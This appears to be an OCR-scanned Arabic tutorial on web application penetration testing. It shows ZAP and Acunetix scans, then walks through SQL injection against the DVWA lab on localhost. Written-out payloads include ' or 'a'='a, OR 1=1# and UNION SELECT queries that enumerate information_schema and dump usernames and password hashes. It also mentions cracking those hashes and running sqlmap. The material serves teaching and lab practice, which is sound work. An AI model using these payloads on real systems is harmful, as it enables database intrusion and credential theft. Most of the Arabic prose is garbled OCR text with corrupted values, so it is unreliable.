aygdl g 127.0.0.1 claanio gd quigp Alacy glaliag guilall

gl M8 Jrodni Tyl elifayg Jdualyiavl pudll o@ odag 8080
dalio alijgy wle cllzg cuigl gudi od
Jio cilgal 8ac glgu Laals Burp Suite u 1aa dwsi ZAP

Site map, intercepting proxy, spider and ability to
encode/decode values

Haud ol 8)adg jabuu g yaljicl oaudgy g gdgoll dhyjA Jac
ol gaay sl g port scanner (slc Lyl (sgaug pudll pami elag
2l fuzzing 6lalg wugll (Guhi glhiul dilac JUA paATug
directory daunlell 6gdll pgaa 6halg Guhill ol Jall Loyl
Japl o4 dagyeallg deiliill alalaell clowl groAil brute force
gl
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ig Alacl

clile g dnapll didlail ell Jahiw 60 JgV ZAP aiaj loaic

lo4 eadnio oa eudgpll alacly pgdi i way leth layle ddalgoll
Mgjis pgdiw Al plug-n-Hack glc hanll clida) gl Burp o4
gl glgic paiiug adnioll Jeoa le Jogi dalnly caanio
\oAyilogil 4y

Jj wlc haonlg URL to attack od carall URL (lgic gngr o4
(elLill JAuill o8 La8 diloell claiil qia Wld pATilg Attack

Standard mode |¥) = B =] qop ;LA EEo BDEm ¢ @

@ sites | + | [ & quick Start # | = Request | Responses= ]@
@ Q3
Welcome to the OWASP Zed Attack Proxy (ZAP)

¥ [ Contexts

[Z] Default Context ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications,
v @ M Sites
v @ http://127.0.0.1 Please be aware that you should only attack applications that you have been specifically been given permission to test.
L] M GET:cvwa To quickly test an application, enter its URL below and press 'Attack’.
|| P % GET:robots.tst
_ B # GETisitemap.ml URL to attack hittpe/f127.0.0,1/d Select
g H 0.0, vwa
v m o dwa o attack: p \@eec.‘.j
|| M % GET:login.php | & Attack |
L P o duwa .
Progress: Attack complete - see the Alerts tab for details of any issues found
|| v # POST:login.phpiLogin,password user_toker
|| P % GET:dvwa
L] P # GET:dwwalC) For a more in depth test you should explore your application using your browser or autemated regression tests while proxying through ZAP.
If you are using Firefox 24.0 or later you can use 'Plug-n-Hack' to configure your browser:
Configure your browser: # Plug-n-Hack
Or point your browser at:  http://localhost:8080/pnh/?7apikey=foo833a9ectjlktlle7f3upgpb
PR e S
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:ZAP Qilii 638 Lo

aleill jayei dun Alerts daildll saalsio ¢lidoy dilaell claiil ae
wle gy Ly plAll DVWA g4y i ¢ealanll go guyl .daddiidall
[alpetll o yaell

8yl caliuibl pi il daanlld 8pef J4 ge paito aplr prdy ZAP
A Ll JAdll o Lod ciaag (ol aljioljlyl doyd @ log Lay

SQL injection 6)21 3gag Ay

[ = History T =, search T o Alerts :PT Output T & Spider T ? Active Scan m

O "] SQL Injection - MySQL
v [ alerts (14) i | (URL: http://127.0.0.1/dvwwaivulnerab

» (E5 M Cross Site Scripting (Reflected) Risk: Fu High

* (E5 ™ Path Traversal confidence: Medium

* (5 ™ Remote File Inclusion (3) Parameter: id

v f—_‘L B SQL Injection - MySQL Attack: "LUNIOMN ALL select MULL --

I GET: http://127.0.0.L/dvwa/vulnerabilities/solirid— Il A The Used SELECT statements f

. > (R Application Error Disclosure (58) . v e e

il aljioljlll cajei cianlg carall URL glgic elial aunl gl

JUA go cugll Guhi ] urd Jas Jlwy] elifoy .l le ggai
JAeiwll dilooy plidll adaniall
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alpioljlll doyd haeig allhll AljicV quudgp plaaiwl elifay ql
Guhill 13a Jueiw) sqimap Jio dralal 6lal olaxatul elifay gl

HTNL or XML calo JA olc opani jay ZAP J Jol&ll pydill
Reports dalild JAA o

: Acunetix
ALilogil Jauy pgdig wugll alduhi ga alpeill ge dnly gag
alpel caiy
SQL Injection, XSS, XXE, SSRF, HOST Header Attacks
and over 500 web vulnerabilities
GAl jLiAl diloc (_S\.CI doAATuaoll algﬂJI Jo aaell olc S99
gl alduhi
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@ Web Vulnerability Scanner
il e Web Scanner

= Tools

----- (3 Site Crawler

----- '.) Target Finder

----- |&, Subdomain Scanner
----- (4 Blind SQL Injector
&2 HTTP Editor

-4 HTTP Siffer

----- i HTTP Fuzzer

----- ﬂ Authentication Tester
----- L2 Compare Results
- Web Services

----- &~ Web Services Scanner
----- &7 Web Services Editor
E-{— Configuration

----- |_‘§| Application Settings
----- |:rj Scan Settings

----- %] Scanning Profiles
- General

o Program Updates
--[1.0] Version Information
- Licensing

@ Support Center
@ Purchase

@ User Manual

----- & AcuSensor

M acunetix

Acunetix Web Vulnerability Scanner

FB Web Scanner |S|::an your web applications automatically for vulnerabilities

[ Tools |Custnmize your security assessments with an extensive set of tools
= Web Semices |S|::an your web senvices automatically for vulnerabilities

[ Configuration |App|icatinn preferences and scanning profiles

[ General |Checkfnr product updates, find help, and modify your license

Common Tasks

| ] Mew Scan |Start a new website scan

¢ Sample Scan |Lnad the results from a sample scan session
#* MNew W3 Scan |Start a new web sernvice scan

Reporter |‘-Iiew. customize, and publish vulnerability reports
@ Scheduler |Schedu|e an automated scan

& AcuSensar |Enab|e and configure AcuSensar
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alyeill ole gy pydi ole Jgmall elidoy (paall diloc dilai o4
hulgyllg &5aill 0A@ Juéiwl diayd] Jndo apd go dadiidoll

dayidall Jglallg dloall Gph (oll dalayly &yilioll

=lolx|

Acunetix Web Vulnerability Scanner {(Enter|

File Actions Tools Configuration Help

Newsen |[& 38 0 2 U B 9 2|l |8 @] 2|06
miEEn T Jll d J | = | H ﬁ*j ‘ il Report | )D |SiartUR.L: |ht|p:fftesmhp.vulnwab.mm:sﬂf ﬂ Profile: |DEfEuIt ﬂ Start
@ Web Yulnerability Scanner
Scan Results =
1% Web Scanner LHJ Alerts summary 253 aleris &

]

Thread 1

= Todls " .
(= Web Services fily web Alerts (253) M acunetix threat level Acunetix Threat Level 3
=5 Configuration @ slind SQL Injection (35) e TR One or more high-severity type vulnerabilities
{= General @ CRLFinjection/HTTP response splitting (verified) (1 evel 3 Hig have been discovered by the scanner. A
. r malicious user can exploit these vulnerabilities
@ Cross site saipting (2) and compromise the backend database and/or
@ Cross site scripting {verified) (38) deface your website,
@ Directory traversal (verified) (2)
@ HTTP parameter pollution (2)
@ nginx SPDY heap buffer overflow (1) Total alerts found 253
@ saript source code discosure (1) @ High 127
@ Server side request forgery (2) @
@ SQL injection {verified) (43) @ Low ) 1o -
0 .htaccess file readable (1) @ informational 53 I
@ Application error message (15)
@ Backup files (2) :| Target information http://testphp.vulnweb.com:30/ C;)
@ Directory listing (19) _| & statistics 50154 requests @
) Error message on page (5)
@ HTML form without CSRF protection (5} Scan time 16 minutes, 11 seconds
@ Insecure crossdomain,xml file (1) :umber of request; ;il:: i q
) JetBrains .idea project directory (1) \rera.ge re.sponse ime 26 mifliseconds
Scan iteration 2

@ PHP allow_url_fopen enabled (1)
& PHP errors enabled (1)

@ PHP open_basedir is not set (1) Response time history
& PHFinfo page found (2)

0 Source code disdosure (2)

@ URL redirection (1)

) User credentials are sentin dear text (1)
& User-controlied form action (1)

B IS T e Bl Fr e F4Y

4 |

Activity Window

‘ Ready | | S
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:Jndall 1A@ ¢gino

SQL injection =
|“- oo -.II PLb_i_I tjI “I e (:J_al -
Web shells =

Information security should be layered, like an
onion. It should not make you cry like an onion.

There's a difference.
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:doAdo

dAy puadi JUA go agall gda 80t JUSiwl grhing §lHAYl pito
A8 di agowwo P Jooi pgdy cugll Guhi Jeoay dui (gga
olhill ciloglei Araii gi (pull alolég clowil) dwbwall cilogleall
(Ao Qlwn dalal)

aldyhi lal gapeii &ill alaaall ¢lgil jhal go agall Jéa pgaa
opill ellj o M1 (uoxdtwall axeg lapili 6gd cuuy pgull cugll

.P-a-lul u".I .. ("9_6 6 o ee e
diloall alelp] oa godil dayii piy 3g4ll gda pgaa

clhal aigan dyildo] gla Jlilig popo Jud go gini cugll aldyhi

Alpeill agagl qiw (o@ clhall od&g 3yjlg jol ga

(e cugll alduhi ea géall glgil gao)

Structured query language (SQL) allh jda =

Lightweight directory access protocol cllh jda =
(LDAP)

XML path language (XPATH) allh (jda =

Jusedltill plaj ciloglei gdn
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caguug 3gall gda 6pef JUoiwl pgaay pgdi cagw Jnall ia g4
Alodlei gdag alilwll aclgd alllh gda JAleiwl dilac Junlai olofi

Jaoill ol
SQL injection and operating system commands

clifl pgaally plidll ga jdall pgad o8 d)ai Jl way JAl pao ol
d4p) elayill gl gdey 3@ Jocpi padimos cygll Guhi go Jelaill
allhll dliloo gyi wagu qugll Guhi allalg ey dnlAll (abilyll

diga poll AVl

:SQL injection alj<i

ljoiwo Jljlog wugll alduhi cilyei padl Al ga SQL injection
gl aldyhi gle phlaall pal go pigyg gl gin

.TA; dlaw aani dilocg T_\; Joog T_\; o11d SQL injection

b 83gago alljlo SQL injection i diyall alwlll gae) ajakhl
Al cugll aldyhi go %30

] daai SQL injection il pei

dyloo) pdy pl gopall) priluall J43 audill dilac ob e »
(3l peiol dani gf byils
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Jaill 8lid guai od glaoo pAnillg alilyll =

oo jadilly palanll aowi pxiiuoall J43 ayil dilac od caeal
warnii aljlil gu 63gagall dunill dwludl ) alilull galall ejall
(SELECT, UNION, AND, OR Jio) p4ai ciloylei (éda (oll (8340

4o dalgo dil oo alogleall Gaxi dulac pli s padl ol
L4 alilull éacld yayung cugll papn prxiimell o@ agan &y

oLl JAsl qa

SELECT * FROM
PRC DULTS WHERE
ego *\ ‘cars

www.victim.com/showproducts.asp?category=cars

&

AUDI
User ) — - oW ]
AUDI Web Server | rerpar Oracle
BMW . FORD | Database Server
FERRARI SEAT
FORD
SEAT

gl pap @l allh Juipy padiall 0

pxATwoll [alAsl ol alilll aawy pgdy gl papu .Y
labupg padfwall Jay gle (ggai SQL 6jlic Gl pgdig
alibdl 8acléd pap ol wlh’

cayey gl g9y SQL bk Aaiiy pgdy alilyll 8acld papw ¥
ol dadill ypeug albhll Maiiy pgd) hda . Guhill Ghio

gl papuu

ol i e )




whuoliyy Jasy HTML dadn @A) pgdy cugll Japm ¢
alibdl 6acld japi o adl doaldll dilaVl (gde aloicVL
pxATwoll (ol [@liupig

pap gllndio alilyll 8xcld ypapung cugll papuw gla 645 a4
pxiwall lanyeyg daiill pajitg SQL wlh (§lAy pgdy hda cugll
ol dauiill 1919 SQL wlh idiny gaa alilull éxcld papw Lol
SQL injection cilyai Juiwl Jal go 1aa pao laag wigll papw
aioy aliludl 8acléd pap Jeag SQL 6jley wcllill grhii Liil
Jgyall alaldg groaiimoll clowl Jio dodo cililu

alilwll 8acld Jo dalirall UnAll Jilwyl eljao ggai gl paall o
SQL 8% jLhisly pgdi loaic cugll papm o lale Jnaiu &illg

injection
Joleiy ca1dg SQL injection LhA dany card jahy ollill JAdll

.daeo cugll yajnu

SELECT * FROM
PRODUCTS WHERE
category = ‘attacker”

\
User .4& Web erver ‘—”3/

www.victim.com/showproducts.asp?category=attacker’

\-01756: quoted ORA-01756: quoted Oracle
string not properly string not properly Database Server
terminated terminated
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SQL 6yei aild 13| dajeo dlglhal ulh Juwy paviwall )
dllall oda (o4 . Guhill i@ od 63gago injection
wainii dolle ad] lalho pwl gi dogdll Jup praiwall
.01}a0

ol SQL alh Jupg padiwell alily aawy cogll japw Y
Il SQL gjlic gla Jliall 3@ oa alilyll 6xcld yapiw
pxATwoll JAy le (§gai caguw wugll japw ladlap
dalnyl pariwall Jid go dalnall 83aall gauniill dollcg
Laialal Guhill pgdy pal 6330 yarnii dolle o)

dlluj A121g ogutoll SQL ulh Juding cililll 8acld papw .Y
gl papw @l Lha

alildl 6acld paju go oAl dllwy Judivg gl pap ¢
pxATwoll dl HTML Jau olc dilbls lalupg

dlluy ajay Al priiwall go clinll gyjliw gy Giludl Jlial
6alc| pitw aila Guhill ag8 (glc sloicVl alilull 8acld (o LhA
Gl oda gaal deilfl 6ghall ga dayiill

pMiwoll paanio glc ay2) SQL error )

alni galel cugll daan jano o4 oai) SQL error .Y
clhAall
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Al daan ol anagill 8ale] ¥
(apdly glals nd) HTTP error code 500 ¢
HTTP redirection code 302 gl

aagy Vil Jakyg syga Jady Lhall go Joleiy Guhill .o
.PLC ‘I'-hj . . 5 I." g‘i ... "...

:SQL injection glgil

Error-Based SQL Injection =
Union-Based SQL Injection =
Blind SQL Injection =

:Error

dllwy go alogleall goag tha wuuy alilyl 8acld o] wlb Jlu)|
Thall

:Union

Aalg ulh o8 SQL 8jlic (o Ji4l datii aoal paiiuy SQL union
:Blind

6alc] ai 13| loga phillg truelfalse question alilull 6acld Jlguw

.ng‘I: . | . .
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:SQL injection jLuiil

sedypeill
(1al pladiwly gl sgay J4uin) 6y<ill agag dajeo =
gdall 6071 ggi AT =

:pgaall
(TA; Jaww) Error-Based =

(alilidl 21Tl Jal go gilj) Union-Based =
(aVlaiayl AT dlla iguwl) Blind =

£gi g i gl gaoy il 8Ial gV g)gpa jol (ggay JAuiy jLiayl
0951 8y8ill dayinll loiy gégall ob 8jei a7 g géall go Aalg

.01gago

:SQL Interpreter paj}ioll

pajio Ja pad clile qay dil o@ 8)2ill odal dpwlwll ilgall aal
Jl=a SQL

Gl ldai g <l o 350 L)




pe al@ill ale ggiy of gga ga aule Jaoyg Jaall 33l payiall
clhAll N’ gl compiling eronill dyaldill daopll aliloc

.Ji2uillg debugging
ilao e qlis ge anni oaic aulwll cjall qely SQL pajio ilio

Y gl JAdy aipiivl pe guy gjao o8 A

ge il ail pgdl cugll Guhi o cjad pATiy cagu Agall 1Aa
éall Ggain o dioll gl JAal Guphh ge oagpi Al Qiioll

String query = “SELECT * FROM book WHERE bookName="" +
request.getParam(“term”) + “";

:ddlill alloelly pgdi cagu Hacking web alis (jc &nii loaic

o &l (§gain o Hacking web ilifll puul JAaT cagw )
pgdi pi (uV ggl Jady guy Al pioll gl dridall gdgo
oyl Jj le hoally

sowall poiall qa paiiwall JAs gjAls pgdy Guhill .Y

term
Algall aer go Jgo ggiy Al SQL wlh gy Guhill .Y
HTTP wlh o priiuwoll term poiallg Latuwo digidall
l@A1aii piy éun alilull éxclé ol) SQL wlh Juy Guhill

SQL pajio Judi go
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2anio (o4 lanj0) pgdy) @Guhill o)) Juyiu ilill .2
LT all
alid ge dull didoc aic l@M1aiT alnw (Su_ll SQL ulh doilei
@ Hacking web

String query = “SELECT * FROM book WHERE bookName=’Hacking
web’ ”;

sQL: aluulwl jas

(*) da0cMl JA juidl Lliod ydl dhluay
(ID number, bookName, bookPrice)

agoc o Jawo Hacking web (L5 13] alud books Jgaa (o

bookName

rd il Jgaall dayliuo alily éxcld Apoiuw dayiill

bookName bookPrice

Wireless network

CCNP guide

G sl ket y il e @1 ) L)




ol jo1 Al string ¢gi go aalg poio go Joleiy alhll =
g SELECT Jud yaunii (oJjliul giag quw ga 1dag pajioll
alhll dlai

ailill dhuwlgy goay dic éndl a3l paiiwall ulh =
Jo Heind 6aalg yawnii doMce Jaly jjaig request.getParam
H&io ga bookName wlidll pwl MALilL Lstring gni ggi
o
6)lil] (oilig bookName= yo1 jg4i gl vy yarnii 8Ll Jgl
dagrjall yapniill ylin] Jud 9gai gl way garnili

aayiall Jud go 0daii piy Al gleall SQL wlh ga I

SELECT * FROM books WHERE bookName=’hacking web’

: g1Vl Jal Jgo SQL

dil | prundy albllalhll 38 cliy iy @S paad g paall go
e cljal
SELECT * FROM book WHERE bookName="' .\
Jeag aopall Jud (o liuuo aillis piy 3gall go cjall 1@
pXATwoll Ay Aty Guhill

Gl ldai g <l o 350 L)




Jo cja Jgl Jl aourdi piy term (hacking web) poiall .Y
Heioll A& doydy pAaiy Al ga padiwall agall

Jas aey Tpiilio Qolipll Jud (o walai () gagniill 8yl ¥
JAoJ dalan doyle’i aunig SQL diolei JloAy oxAiwall
SQL interpreter oajioll Jid (o [@31aii

od aling QU pul Ja1 aya J33 Gl gty GV it
dilia olc dhadalhall go SQL injection 6ot Juoil dull (Ggain

Iha dllwy j@hi ¥ g4l ganiill alelle gy Jaall

Garin ol llill Jaa| ga Jueiwyl Aa gle o4pulls Jlio

Sull
Hacking web' OR 1=1%#
ogéiyl pajiall o] Lallujlg dyllill SQL &jlic gt Jarll [

SELECT * FROM books WHERE bookName="hacking web' OR
1=1%

lare) cout J5 Jalaiy pajiall Jeai inline comment & # 6)Lul

@ ggdnall 3g4ll 13l SQL &)lic dayii

SELECT * FROM books WHERE bookName="'hacking web' OR
=1
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doMelld yapniill giolle gy (L4l puul) Jall unl s hay
g lind dilill dollellg aopall Jid go Lo digido Jgii lgl
(JLiAIl paal) Jaall aey lallask

g0 praluall Jas dilai o] atala] piy o1l () yapaiill &)Ll
inline comment a il # 3gag cuwy lalalad piyw Guhill Jud
6agagoll wiall J4 yaje oivw 1 lhda hacking web ajc oiy
dddno lojly 1=1 gl

backing web' OR ‘a’='a
dauiill @dlilig () yarniill dodle calAim Jul hanll oloi gai
(LS auniwg daan SQL §jlic jgaim

SELECT * FROM books WHERE bookName="hacking web' OR
"a’='a
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:SQL injection pgam

pAATi caguw . SQL injection cilwlwl clo@a aé Jgai gl wy
:ga pudll 3@ (o liara .8y0ill daan alpAaiwl dlglhol DVWA diy

wle Jigy dlash pgdi Al Jasll gl aldy Guhill pghai )
Guhill elglu

ogady polidll alilull 8acld o Jroriiwall clowl waw .Y
ddalnall jglai

gulall Jio) alilll 6xcld o 6a1do clogleo alatwl ¥
gyl aloly galall

dolag paiiwoll pul wapeiw @llillg pull dold Gila pus .
Guhill oa prxaimo JAI pull

alilull 8xcld lail hda MySQL go Joleii cagu wlidll 3@ g4
DVWA diy o doxiiwall

Jlisll 13a oag Union-Based and Blind hdd aag) MySQL (g4
hda Union-Based go (Joleii caguw

8 SQL injection glc hoall JUA (o §j01 ola | Jgngll Jaoy
DVWA  qad spull dodldll
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Vulnerability: SQL Injection

Home

Instructions

Setup / Reset DB User ID: | || Submit |

Brute Force

More Information

Command Injection

CSRF

File Inclusion

|
|
|
|
|
|
|
File Upload |
|
|
|
|
|
|

Insecure CAPTCHA

SQL Injection (Blind)
XSS (Reflected)
XSS (Stored)

DVWA Security

:SQL injection 621 All

0Ad o4 SQL injection &yi Al @ lay plidll (g dodo Jgl
SQL injection JAlQiwl ai loyic dualo diw 15-10 dio ,daanll
6)luit] grag JAA (o piig Iaa Jaww yoi speill alay) glé 6j0 Jgll
duhill Jea 63y 6aaliuog dadl (ggain JAla () 6aalg yaunii
Guhillg doyleill don (oa J1A (] (31w S3pa0ll yarniill &Ll
wlc g1 DVWA (15 13] dajeo dlglao Liiday 1Iha dllwp A caguw
gyLil Jlaal sl dayphll guai pladiml JAA go SQL injection &)<i

User ID textbox od (') 63pa0 yarnii
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83pd0 yarnii )Ll go duni dwlw JlAsk pgdi caguw el Jay g
Ll Jaalls

Vulnerability: SQL Injection

User ID: |jameel’ Submit

:ollill 8QL Lha jgakh ol ¢3gw Jaall 1aa

An error occured: Please make sure the ..[../external/phpids/0.6/lib/IDS/tmp folder is writable

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''jameel''' at line 1

go (icgano (od aleo gay paiiwall JAs 5 Guhill Aa o4
(dagajo yawnii 6)Li] cul) 8apaall yarniill alylu)
goll go Jalg gVl oin 30l clawl gl huall Jgaall plei V A
:ollill alhll ailifio qillh (GlAy pld Lilay gl galyial

SELECT * FROM users WHERE User_ID= “Jameel”’
p4aill liidoy dil cufy Aag «Guhill pha ai) illg alhll a
dolall DAl Jilwy dajeo olc ggai gl paall go SQL 6jLsy
drloel Al yuly ggai glall wllé a lail gl aldyhiy

Gl
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J9aT gl Jhoy oillg @Ik pgdim il alyiollll an Jady jAa
alpioljlll o oda ,alilydl 8acld (ol Jupi il aldhll go cja
SQL injection dyilo] jLiAY l@orATwi ¢l way il

dni clowl e dadl gl UID=81 Jio dialaeill ID ailyioljlis gi
wle st il aljioljldl g ddilull 6)dall (od Llob qliall gl Jio
sort=ASC or sort=DESC Jio string ID

:ddilnoll jglai

alogleo caniy pgdig l@iyaii piy dicyds SQL éjlic cliy JUI Liiday
&)Ll 9V i agac go Joleii Liil wayei i aiapeo) @all cllai \
1=1 or'a'="a lo| plaAiwl gihiwi Al LAY o] awal puniill

(Ll Jaall dilidy pgdi cagu

Jameel' or ‘a’='a

Vulnerability: SQL Injection

User ID: |Jameel' or 'a='"a Submit

6acld o ataall Adliill yaes jallg alaiy odaii ai wlhll A&
(Ll Jauill o8 jaky lod clilyll

RS PRI



Vulnerability: SQL Injection

User ID: | || Submit |

ID: Jameel' or 'a'='a
First name: admin
Surname: admin

ID: Jameel' or 'a'='s
First name: Gordon
sSurname: Brown

ID: Jameel' or 'a'='s
First name: Hack
sSurname: Me

ID: Jameel' or 'a'='a
First name: Pablo
sSurname: Picasso

ID: Jameel' or 'a'='a
First name: Bob
Surname: Smith

Jal pall puidlg Jgill pudl haa @ ailiill pheo gi pg)

Jall awl go J4 o6 admin jahi gl daiill gla paiiuo
cugll Guhi paol ga pwdl A& gl gayiai gl lidoy AVl i
ddslnoll jglaiy plidll Jid elld go A5lii gl way g4lg

g dhulgr SQL injection attacks clali dajeo olc jgai gi way
lay pgdy il dalioll Gyhnll d1g) grhiwiw ollillg swagy
olidll Burp Proxy olaatwl elifdoy .oxATwall JAy dallear (Guhill
6aaliiog intercept yaljicVl Jieai JUA (jo pgaall A& (udil

alyiolpll

i S 3581 i



JAA Jlea pili lal Burp Suite o4 (pal 81al ga Burp Repeater
9N Jadu alhll ayaaig caypei salel el pouwi lail gaall pgaa
M0 190 pgdil duidill oda plaiiwl cliday «(Guhill gll dlluylg

J9 lalluyl 8alelg (aalg wapr doud juoji Jio) dinill duwlll o4
adgll pagi o 8:udo oa@d (Jols Jasy panll go wlhll cliy éalc)

bhda alhll go oxyyi Ml cjall poiy ciad elil go A5lillg

Jo dhldil] rey Gl Jamlly Jakhy Jameel’ or 'a'='a (Gilull wlhl
Ll Jamll oa LS Burp Intercept (Jud

Target | T Spider T Scanner T Intruder T Repeater T Sequencer T Dec

_[ T HTTP history TWebSuckets histany T Options |

|__/J Request to http:/f127.0.0.1:80

[ Forward J [ Drop J ' Intercept is on | [ Action J

_[ Raw T Params T Headers T Hex |

FET jdvwa/vulnerabilities/sqgli/f?id=Jameel$2T7+o0r+527a%27%3D%27a85ub
Jost: 1Z7.0.0.1

Jser—-Agent: Mozilla/5.0 (X1l; Linux xS8&_g£4; rv:38.0) Gecko/Z010010
bocept: text/html, application/whtml+txzm] , applicacion/xmlq=0.59,%/"%;
Lecept-Language: en-US, en;g=0_5

Lecept—Encoding: gzip, deflate

Beferer: http://L27.0.0.1/dvwa/vulnerabilities/sqgli/

Zookie: security=low; PHPEEZSID=3nwtlfuSnppgliupbhipinkolel
Connection: keep-alive
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.dralin] alogleo alyail
Jw dol4g paatwall pual Jio 6atdo draln| alogleo Ity ling

wle Jgoall lallA o jhoy oIl gdall o ¢lgil 8ac ellia .paoll
laiog paall pull dal4g paiiwall ol

alilyll 8acld gl cans )

axd@l lalifial @il alill 8acld ga Jglaall clowl cais v
axa’ olifial gAll Jgaall oa 830l clowl cams ¥
L3A4 LaliAT ol 8a0cVl go alildl qaw ¢

JAA go laileail liday alilll 8acld o8 83gago gilgi 8ac dlia
SQL union &jlic paiwi lal4 .duwbwa alogleo wadial 859l oia
ahll gl jgpn 1aag pleiwl alh go J141 2001 ouui il

JAYI owiVlg JgVl pwdl Jio diale alogleo aljAiwl grhiog
Jareg cgll Guhi Jueiwl Jal go odpaiil ggdl il pliaj

Jl uy SELECT 6jlic J4 union Joei gl Jal go dwlwn cilogleo

oudi lal gghy gl wy 8aacll odag 8xocll pd) udi lal jgiy
gain ggai gl aag SELECT 6jlic J4 o 6a0cVlg alilull ggi

iyl
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JaVl awil) guni guagac Lil alel aé alhll gi liuwe yei gAi
i gaagole Aoy gl wag agajall alhll gla ellal (Al puwlg
null aililull ggi gV null Jgil agoell aa alilull g¢gi paAiui cagu

o)) gilill agolell pasiwiw g alilll go ¢gi 1 Jioy gl Yoy
6ac pladatwl JUA (o agole (o J4l go Jooi gl Jaoig (Al
o0gaall (o cja4 cancat wlill dhwlgr pAVYl el dlwlbiuio olge

alilull 6acld Jo dwlwa alogleo caiy Lil powwy cagu 1Aa

Jameel' or 1=1 union select null, database # ()
HAVI awVlg JgVl oMl jaii cagw oxoll ulhll A&l dayiill
lo4 dvwa gag alilull 6xcld puwl @@hy caguw pAYl fhull oag
(L Jaodl o
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Vulnerability: SQL Injection

User ID: | || Submit |

ID: Jameel' or 1=1 union select null, database () #
First name: admin
Surname: admin

ID: Jameel' or 1=1 union select null, database () #
First name: Gordon
Surname: Brown

ID: Jameel' or 1=1 union select null, database () #
First name: Hack
sSurname: Me

ID: Jameel' or 1=1 union select null, database () #
First name: Pablo
Surname: Picasso

ID: Jameel' or 1=1 union select null, database () #
First name: Bob
Surname: Smith

ID: Jameel' or 1=1 union select null, database () #
First name:
surname: dvwa

Jglaall clowi J§ yael

Jameel' and 1=1 union select null, table_name from
information_schema. tables#

daclédy dnlAll alilyll go degaao o information schema (i ¢ua
o4 Jaky Lo alilyll s3cld 6)ls] plhi o8 JjAT gillg alilyl
Jghim users Jgaa gla déslnall jglai Jglai Liillg . glLill JAudal

lil cara
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Vulnerability: SQL Injection

User ID: | || Submit ]

ID: Jameel' and 1=1 union select null, table_name from information_schema.tablgs #
First name:
Surname: CHARACTER_SETS

ID: Jameel' and 1=1 union select null, table_name from information_schema.tablgs #
First name:
Surname: COLLATIONS

ID: Jameel' and 1=1 union select null, table name from information schema.tablgs #
First name:
Surname: COLLATION_CHARACTER_SET_APPLICABILITY

ID: Jameel' and 1=1 union select null, table_name from information_schema.tablgs #
First name:
Surname: COLUMMS

ID: Jameel' and 1=1 union select null, table_name from information_schema.tablgs #
First name:
Surname: COLUMM PRIVILEGES

ID: Jameel' and 1=1 union select null, table _name from information_schema.tablgs #
First name:
Surname: ENGINES

ID: Jameel' and 1=1 union select null, table name from information_schema.tablgs #
First name:
Surname: EVENTS

ID: Jameel' and 1=1 union select null, table_name from information_schema.tablgs #
First name:
Surname: FILES

metadata dylAll ciloglooll Jglaa elowl jaky oLl Jgaall

aliludl aclgd (o el tables

Database Metadata Table

MySQL | Information_schema

MS-SQL sysobjects or
INFORMATION_SCHEMA

Oracle | all_user_objects

PostgreSQL INFROMATION_SCHEMA
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: user table 1oyl Jgaa od 8xacil clowl yayel

Jameel' and 1=1 union select null, concat(table_name, Ox0a,
column_name) from information_schema.columns where
table_name='users# '

Jo Jgaiw iliill J4 gla gdall waas gilill sgoell Lioaatwl Lil
(JaVl puudly dayiill go Jg¥l agaell i (siey 138 agolell [3a
Agolell 138 qa null gday pdi al il ¢jla Laily ggaiw

go dluli gl ggau (AUl puudl ) dayiill ga (gdlill agolell

ol ol sgi dlulill 03@ (concat gilill pladiwly) iliill
A Jhu o] JLEiivl pd pall pwdls @ahy gl users Jgaall
users table ygoc J5 pwl aig (gdall ga 0x0a Lioaatwl Lill )
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Vulnerability: SQL Injection

User ID: | || Submit |

ID: Jameel' and 1=1 union select null, concat(table name, ©x0a, column_name] friom information_
First name:
Surname: users
user_id

ID: Jameel' and 1=1 union select null, concat(table_name, ©x@a, column_name] friom information_
First name:
Surname: users
first_name

ID: Jameel' and 1=1 union select null, concat(table_name, OxGa, column_name] from information_
First name:
Surname: UsSers
last_name

ID: Jameel' and 1=1 union select null, concat(table name, Ox0a, column_name) friom information_
First name:
Surname: users
user

ID: Jameel' and 1=1 union select null, concat(table_name, Ox0a, column_name] from information_
First name:
Surname: users
password

@ users Jgia o4 Molgell clowl

user_id =
first name =
last name =

user =
password =
avatar =

user and password uagolell lioloial (jgaiw a5lill
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:Juadl alold Glul® ana

:dulill 6jlell Jari user and password (pigolell ¢gino Ajel

Jameel' and 1=1 union select null,concat(user,0x0a,password)
from users#

Glpal pido (§i o il prdll g@ jahi wagu @il Riliill
Layle Jgnall

alilll 8xcld ga paidiuo ell pull doalbg pul (gle Jnai caguw

Vulnerability: SQL Injection

User ID: | || Submit |

ID: Jameel' and 1=1 union select null,concat(user,0x0a,password) from users #
First name:

Surname: admin

Sfadcc3b5aa755d61d8327debasz2cf oo

ID: Jameel' and 1=1 union select null,concat(user,®x0a,password] from users #
First name:

Surname: gordonb

2993 18c428ch38d5f 260853678922:03

ID: Jameel' and 1=1 union select null,concat(user,0x0a,password) from users #
First name:

Surname: 1337

8d3533d75ae2c3966d7e0d4f ccB2216h

ID: Jameel' and 1=1 union select null,concat(user,0x0a,password) from users #
First name:

Surname: pablo

odlo7doofsbbedtcade3deSc71e9esh7

ID: Jameel' and 1=1 union select null,concat(user,0x0a,password) from users #
First name:

Surname: smithy

Sf ddcc3b5aa7e5d61d8327debaazcf oo
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hash Jai glc gg4i agu upn (ais jahi gl pull alalb leih
MD5 ¢gi go Maailly gag gilall go ggill 3@ juus Taa Jauull gog
and A-F 9-0 (gpiic diw pdj 32 (c 8)lic aill hash

le achui od@g Hash-ID 8lal playaiwl elifay gilall ¢gi dajeal
8153V1 odag pd) gl wapn 50 o psl ggiy Al gilall ggi dajeo
5 plaiy oildli JAuy 63gago

hda jlniilll gl John the Ripper (JtR) Jio 8Ia padiwi i Lii4oy
20 gai Jasy dald sle Jgnallg gulall pusl John

clow¥l §rlg ui ol alini hia 1y Jaw 81Ul 0aa plaiiwl
caill Jlakl jlatil pf 61sill dagaéig ni wlo o]yl alalsg
pxATwo JAl juull dolal aypall

:sqlmap

18 plhi oa Gildli JAuiy 63gago .SQL aloylei géal lal oa
L_J_(.:.I3 t:IIJ-Q-T d‘l * oo Ig k_dl oo ..SL! (.Sjl_a_lj' |5 o | Pg-a-.l. (:9-&9 , 5."|
aini il aljlall w@avig sayla @ny dpo elaig SQL injection

gl alduhi aa pgaall Adpaiil pal Jlho palaoll
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(o@g aljliyl oda e apin pgdl caguw flags paiiwi sqimap

)01l dilnall daanll caxall URL (jlgic yanil paATi: -u =

